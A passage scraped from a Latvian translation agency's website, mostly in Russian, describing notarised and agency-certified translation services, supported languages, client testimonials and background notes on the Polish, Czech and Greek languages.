Республики. ЧТО ТАКОЕ ПЕРЕВОДЫ С ЗАВЕРЕНИЕМ БЮРО SKRIVANEK? Если в нотариальном заверении перевода документа нет необходимости, однако требуется официальное подтверждение верности перевода со стороны бюро, мы советуем выбрать перевод с заверением бюро Skrivanek. Перевод, заверенный бюро или переводчиком, оформляется согласно правилам Кабинета министров № 291 «Порядок заверения переводов документов на государственный язык». Это означает, что к переводу прилагается письменное подтверждение того, что он выполнен профессиональным переводчиком в бюро переводов, удостоверяющее, что выполненный перевод является верным, точным и соответствует оригиналу. Переводы с заверением бюро клиенты чаще всего заказывают для официальных документов – при подаче их в суды, в государственные или муниципальные учреждения. Обратите внимание! Нотариально заверенный перевод или перевод документа с заверением бюро часто ошибочно называют присяжным переводом или переводом документа с подписью присяжного переводчика. Важно помнить, что в Латвии нет статуса «присяжный переводчик», а понятие «присяжный перевод» некорректно. В таком случае необходим нотариально заверенный перевод, который оформляется присяжным нотариусом, или заверенный бюро перевод документа, который подписывается переводчиком конкретного документа. Своей подписью переводчик заверяет и подтверждает, что перевод выполнен верно и соответствует оригиналу. Данное заверение вместе с переводом подшивается к копии или оригиналу документа. ВИДЫ НОТАРИАЛЬНОЙ ЗАВЕРКИ ПЕРЕВОДА Заверка к оригиналу: к оригинальному документу подшивается перевод, заверенный квалифицированным переводчиком, подпись которого заверяет нотариус. Заверка к копии: изготовляется фотокопия оригинального документа, к которой подшивается перевод на соответствующий язык, заверенный квалифицированным переводчиком; фотокопию с переводом нотариус заверяет только по предъявлении оригинального документа. ТРЕБУЕТСЯ НОТАРИАЛЬНО ЗАВЕРЕННЫЙ ПЕРЕВОД? Мы подготовим для вас предложение и предоставим консультацию. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить КОРПОРАТИВНЫМ КЛИЕНТАМ, ЗАКАЗЫВАЮЩИМ НОТАРИАЛЬНО ЗАВЕРЕННЫЙ ПЕРЕВОД, ПРЕДОСТАВЛЯЮТСЯ СЛЕДУЮЩИЕ УСЛУГИ: подача и получение документов в рижском офисе Skrivanek Baltic; получение заверенного перевода в офисе нотариуса (центр Риги); доставка документов курьером по всей Латвии (свяжитесь с нами, чтобы узнать стоимость услуги). Позвоните по телефону 80007272 или напишите на электронный адрес, и мы подберем для вас оптимальное решение. ЗАВЕРКА ПЕРВОГО ЭКЗЕМПЛЯРА ПЕРЕВОДА ОБЪЕМОМ ДО 10 СТРАНИЦ ПЕЧАТЬЮ БЮРО ТОЛЬКО 5. 00 ЕВРО + НДС! Если нотариальная заверка не требуется, можем заверить перевод печатью бюро. Skrivanek Baltic предлагает нотариально заверенные переводы на следующие языки. Для того чтобы найти эту услугу в Интернете, люди часто используют различные ключевые слова: «нотариальный перевод рига», «нотариально заверенный перевод», «заверенный перевод документов», «нотариальное заверение перевода», «notarialny perevod», «notarialno zaveren tekst» и т. п. Важно помнить, что в Латвии нет института присяжного переводчика, и все эти запросы, по сути, относятся к нотариально заверенным переводам. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  ВЫПОЛНЯЕМ НОТАРИАЛЬНО ЗАВЕРЕННЫЕ ПЕРЕВОДЫ НА БОЛЕЕ ЧЕМ 110 ЯЗЫКОВ Английский язык Греческий язык Датский язык Испанский язык Итальянский язык Латышский язык Литовский язык Немецкий язык Норвежский язык Польский язык Финский язык Французский язык Чешский язык Шведский язык Эстонский язык Другие языки --- > Письменные, устные переводы и другие языковые услуги во всех самых популярных комбинациях европейских языков. Свяжитесь с нами! - Published: 2018-02-21 - Modified: 2024-11-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/ - Translation Priorities: Optional азербайджанский аймарский аккадский албанский амхарский английский арабский армянский африкаанс башкирский белорусский бенгальский бирманский бислама болгарский боснийский бурятский венгерский венда волоф вьетнамский греческий грузинский гуарани дари датский дзонг-кэ иврит индонезийский ирландский исландский испанский итальянский казахский каталонский кечуа (кечва) киньяруанда киргизский кирунди китайский коми конго корейский коса креольский курдский кхмерский лаосский латинский латышский литовский македонский малагасийский малайский мальдивский мальтийский маратхи молдавский монгольский науруанский ндебеле немецкий непальский нидерландский (фламандский) норвежский ньянджа палауский педи персидский польский португальский пушту румынский самоанский санскрит свази сербский сесото (сото) сингальский словацкий словенский сомалийский суахили тагальский таджикский тайский тамильский татарский тибетский тигринья тонга (тонганский) тсвана турецкий туркменский узбекский урду украинский фарерский фарси финский французский хинди хорватский чешский чукотский шведский шумерский эстонский японский и др. ЯЗЫКОВЫЕ УСЛУГИ, КОТОРЫЕ МЫ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ СВОИМ КЛИЕНТАМ: специализированные и общие письменные переводы; срочные письменные переводы; нотариально заверенные переводы; локализация; машинный перевод для предприятий; устные переводы; адаптация текстов и копирайтинг; DTP — графическая обработка текстов; детские лагеря; языковые курсы; и др. НЕ НАШЛИ НУЖНЫЙ ЯЗЫК ИЛИ ХОТИТЕ ПОЛУЧИТЬ КОНСУЛЬТАЦИЮ? Отправить запрос УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO В КАКИХ ОТРАСЛЯХ НАИБОЛЕЕ ВОСТРЕБОВАНЫ НАШИ ПЕРЕВОДЫ? Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Piesakies jaunumu lapas saņemšanai savā e-pastā un iegūsti dāvanu – bezmaksas latviešu valodas padomu grāmatu! - Published: 2018-02-19 - Modified: 2024-10-03 - URL: https://skrivanek.lv/skrivanek-baltic/pieteikums-jaunumu-lapai/ - Translation Priorities: Optional Piesakies jaunumu lapas saņemšanai savā e-pastā un iegūsti dāvanu – bezmaksas latviešu valodas padomu grāmatu! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Переводы на польский язык более чем с 300 языков: письменные и устные переводы, локализация и прочие услуги. Свяжитесь с нами! - Published: 2018-01-02 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ПОЛЬСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – польский; польский – латышский; эстонский – польский; польский – эстонский; литовский – польский; польский – литовский; русский – польский; польский – русский; английский – польский; польский – английский; украинский – польский; польский – украинский; немецкий – польский; польский – немецкий; французский – польский; польский – французский; испанский – польский; польский – испанский; итальянский – польский; польский – итальянский; датский – польский; польский – датский; шведский – польский, польский – шведский; норвежский – польский; польский – норвежский; финский – польский, польский – финский и др. ФАКТЫ О ПОЛЬСКОМ ЯЗЫКЕ Польский язык в основном распространен в регионе Восточной Европы. Он принадлежит к балто-славянской языковой группе индоевропейской языковой семьи. Польский язык является государственным языком в Польше, а также как язык национальных меньшинств используется в Беларуси, Чехии, России, Латвии, Литве, Румынии, Украине и других странах. В целом польским языком владеют около 50 миллионов человек – 38 миллионов жителей Польши и приблизительно 12 миллионов носителей, проживающих в Великобритании, США, Беларуси, Чехии, Латвии, Литве, Румынии, Словакии, Украине и в других местах. Он является родным языком приблизительно 45 миллионов человек и входит в число 10 крупнейших языков Европы и 25 крупнейших языков мира. Польский язык родственен чешскому и словацкому языкам. Корни этих языков уходят к древним западнославянским диалектам, на которых около 10 века говорили полянские племена на территории Великой Польши, и вислянские племена, населявшие территорию Малой Польши. Невозможно с уверенностью определить, какой диалект имел наибольшее значение в формировании современного польского языка, поскольку развитие языка было неразрывно связано с генезисом государственности – со сменой центра страны менялся и центр развития польского языка (Гнезно, Познань, Краков). В польском языке различают четыре диалекта: великопольский, малопольский, мазурский и силезский. В настоящее время живым остается только силезский диалект, который часть носителей хотят признать самостоятельным региональным языком. Особенности остальных диалектов можно услышать только в сельской местности, кроме подгальского говора, распространенного в регионе Татр, и кашубского – языка жителей Поможе, признанного отдельным региональным языком. Современный польский литературный язык возник приблизительно в середине 16 века, когда в этот процесс внесли существенный вклад поэты и писатели Бернат из Люблина (Biernat z Lublina), Ян Кохановский (Jan Kochanowski), Николай Рей (Mikołaj Rej) и Пётр Скарга (Piotr Skarga). В польском языке много заимствований из чешского, французского, итальянского языка, иврита, русского, латинского, немецкого и других языков. В польском языке существует интересная и разнообразная система имен числительных. Они имеют род и склоняются. Как в латышском языке, в польском языке есть основные, порядковые, дробные и сложные числительные, однако помимо данных категорий также выделяют собирательные и многократные имена числительные. В польском языке используется латинский алфавит, в котором 32 буквы. В этом языке довольно мало гласных и сравнительно много согласных, в особенности шипящих. Гласные не делятся на короткие и долгие. Для польского языка характерны многосложные слова с ударением на третьем слоге. Структуре предложений присущ довольно свободный порядок слов. Старейший письменный памятник сохранился с 1136 года – некий список личных имен и топонимов. Первая книга на польском языке – перевод Библии с латинского языка издана в 1561 году. Код польского языка ISO 639-1: pl. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ПОЛЬСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Необходим письменный или устный перевод с/на чешский язык? Получите бесплатный расчет стоимости за 30 минут! - Published: 2017-12-27 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ЧЕШСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – чешский; чешский – латышский; эстонский – чешский; чешский – эстонский; литовский – чешский; чешский – литовский; русский – чешский; чешский – русский; польский – чешский; чешский – польский; английский – чешский; чешский – английский; украинский – чешский; чешский – украинский; немецкий – чешский; чешский – немецкий; французский – чешский; чешский – французский; испанский – чешский; чешский – испанский; итальянский – чешский; чешский – итальянский; датский – чешский; чешский – датский; шведский – чешский, чешский – шведский; норвежский – чешский; чешский – норвежский; финский – чешский, чешский – финский и др. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  ФАКТЫ О ЧЕШСКОМ ЯЗЫКЕ Чешский язык принадлежит к группе славянских языков, входящей в индоевропейскую семью; в мире насчитывается около 10,63 миллиона его носителей. Это древнейший из славянских языков. Чешский является государственным языком Чешской Республики, кроме того, на нем разговаривают в США, Австрии, Канаде, Словакии и Германии. Чешский — один из 24 официальных языков Европейского союза; в Чехии на нем разговаривает 96 % населения. Специалисты выделяют четыре основных диалектных группы: собственно чешскую, моравско-словацкую, ганацкую, а также силезскую, или ляшскую (на них говорят в южной части Польши, поэтому они также считаются диалектами польского языка, сформированным под сильным влиянием чешского). Чешский язык берет свое начало приблизительно в X веке: как и другие славянские языки, он является ответвлением общего праславянского языка. До конца XIII века чехи использовали латинский алфавит без каких-либо модификаций, но когда объемы текстов стали увеличиваться, была разработана письменность, более точно отображающая характерные для чешского языка звуки, у которых нет эквивалентов в латинском алфавите. Они были введены в употребление в начале XV века. На протяжении нескольких столетий параллельно использовались диграфы (пары букв, которые обозначают один звук) и буквы с диакритическими знаками. Система диакритических знаков характерна и для современного чешского языка, а единственным сохранившимся диграфом является ch. Литературный чешский язык был сформирован в XIV–XVI веках на основе среднечешского, или пражского, диалекта; в XVIII веке он пережил стремительное развитие и достиг формы, существующей и по сей день. Первая книга на чешском языке была напечатана еще в 1468 году, она же является первой книгой, изданной на славянском языке. Первый учебник по грамматике увидел свет в 1533 году. В XVII веке, после подавления реформационного движения, в письме вновь стала преобладать латынь. Книги, напечатанные на чешском языке, были уничтожены, а тайно издаваемые тексты переписывались вручную. По историческим причинам современные правовые акты Чешской Республики включают довольно строгий языковой закон: официальная коммуникация и общение в СМИ происходит только на чешском языке. В Чехии существуют эффективные программы обучения приезжих чешскому языку, которые предлагаются за символическую плату во всех крупных городах страны. Учиться на английском языке можно лишь в нескольких государственных вузах, причем только на отдельных факультетах (сюда входят программы по естественным и техническим наукам). Литературный чешский язык заметно отличается от разговорного. В основе письменности лежит латинский алфавит, который включает 42 графемы, в том числе буквы с диакритическими знаками. Правописание основано на фонетическом принципе: каждому звуку соответствует одна буква. Алфавит состоит из следующих букв: A, Á, B, C, Č, D, Ď, E, É, Ě, F, G, H, Ch, I, Í, J, K, L, M, N, Ň, O, Ó, P, Q, R, Ř, S, Š, T, Ť, U, Ú, Ů, V, W, X, Y, Ý, Z, Ž. Двойные согласные звуки в середине слова произносятся кратко: Анна . Произношение некоторых чешских слов бывает довольно трудным для иностранцев по причине нагромождения согласных звуков. В чешском языке хорошо развита система склонений и спряжений, а порядок слов в предложении довольно свободен. Существительные имеют род, число и падеж. В чешском языке существуют три рода: средний, мужской и женский. Есть два числа — единственное и множественное. Падежей семь: именительный, родительный, дательный, винительный, звательный, местный и творительный. Некоторые существительные имеют только форму единственного числа, некоторые — только множественного, а некоторые (в основном названия парных частей тела) сохранились в форме двойственного числа, которое является реликтом. В чешском языке различают существительные твердой и мягкой разновидности. К существительным твердой разновидности в основном принадлежат слова, корни которых заканчиваются на твердый согласный звук, а к существительным мягкой разновидности — те, корни которых заканчиваются на мягкий согласный звук. Существительные мужского рода склоняются по-разному: выделяются имена существительные, которые обозначают живых существ, и существительные, которые обозначают неодушевленные объекты. Заимствования в чешском языке, как правило, адаптируются — они изменяются согласно принципам склонения, существующим в чешском языке. Прилагательные имеют три степени сравнения; примечательно, что превосходная степень сравнения также используется для преуменьшения каких-либо качеств. Ударение в чешском языке фиксированное, всегда падает на первый слог. Во многосложных словах используется вспомогательное ударение, падающее на нечетные слоги. Есть некоторые безударные слова-исключения: краткие формы личных местоимений и формы вспомогательного глагола «быть». Люди, говорящие на чешском и словацком, могут легко общаться между собой, поскольку эти языки очень похожи. Код языка согласно ISO 639-1: cs УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ЧЕШСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность --- > Skrivanek - бюро переводов с более чем 25-летним опытом работы. Качественные переводы и многие другие языковые решения с/на греческий язык. - Published: 2017-12-27 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ГРЕЧЕСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – греческий; греческий – латышский; эстонский – греческий; греческий – эстонский; литовский – греческий; греческий – литовский; русский – греческий; греческий – русский; польский – греческий; греческий – польский; английский – греческий; греческий – английский; украинский – греческий; греческий – украинский; немецкий – греческий; греческий – немецкий; французский – греческий; греческий – французский; испанский – греческий; греческий – испанский; итальянский – греческий; греческий – итальянский; датский – греческий; греческий – датский; шведский – греческий, греческий шведский; норвежский – греческий; греческий – норвежский; финский – греческий, греческий – финский и др. ФАКТЫ О ГРЕЧЕСКОМ ЯЗЫКЕ Греческий язык принадлежит к семье индоевропейских языков, и его называют первым языком европейской цивилизации. Сегодня в мире живет около 15 миллионов носителей этого языка. Он имеет статус государственного языка на Кипре и в Греции, но также его используют в Албании, Великобритании, Армении, США, Болгарии, Южной Африке, Египте, Франции, Грузии, Италии, Иордании, Казахстане, России, Македонии, Румынии, Испании, на Украине. Историю развития греческого языка можно разделить на несколько этапов: древнегреческий, микенский, античный греческий, койне, средневековый греческий и современный греческий язык. Еще со времен древнегреческого языка сохранились первые письменные свидетельства — надписи на глиняных табличках, расшифрованные лишь частично. Наиболее значимыми литературными памятниками этого периода являются поэмы Гомера, например «Илиада» и «Одиссея», которые были написаны примерно в IX–VIII веке до нашей эры. Эпоха микенского языка относится к периоду Микенской цивилизации; сохранились некоторые письменные свидетельства, датируемые XIV–XV веком до нашей эры. На античном греческом языке говорили в Древней Греции. В результате слияния диалектов античного греческого языка образовалось так называемое койне («общий язык») — первый язык, который объединил античный мир и стал лингва-франка, охватывающим земли от восточного побережья Средиземного моря до Дальнего Востока. Первоначально койне затронуло земли, завоеванные Александром Македонским, а после Великой греческой колонизации —территории от Египта до самой Индии. После заката древнегреческой цивилизации на койне говорило большое количество поданных Римской и Византийской империй. Примерно в VII веке была образована греческая фонематическая письменность, которая берет свое начало в финикийском письме. Первоначально буквы греческого алфавита также использовались для обозначения чисел. Разговорный язык в Греции развивался стремительнее, чем письменный: устно люди общались на античном греческом, а при письме еще долгое время использовался древнегреческий язык. Эпоха современного греческого языка началась примерно в XIV веке и продолжается по сей день. Выделяют две разновидности этого языка: разговорный, или демотический, вариант и городской, или кафаревусный вариант. Кафаревусный вариант используется в официальных учреждениях и похож на койне. Современный язык значительно отличается от древнегреческого: носитель современного греческого языка не может понять древнегреческие писания. Древнегреческий язык примечателен тем, что он лежит в основе большинства интернационализмов. Воспроизводя греческие имена на латышском языке, нужно учитывать правило, которое гласит: если в латышском языке имя имеет соответствующее окончание, оно транслитерируется без изменений. Например, греческое имя Mikis на латышском языке пишется точно так же. Код языка согласно ISO 639-1: el УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ГРЕЧЕСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Переводы на норвежский язык более чем в 300 языковых комбинациях: письменные и устные переводы, локализация и прочее. Свяжитесь с нами! - Published: 2017-12-27 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/ - Translation Priorities: Optional НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ 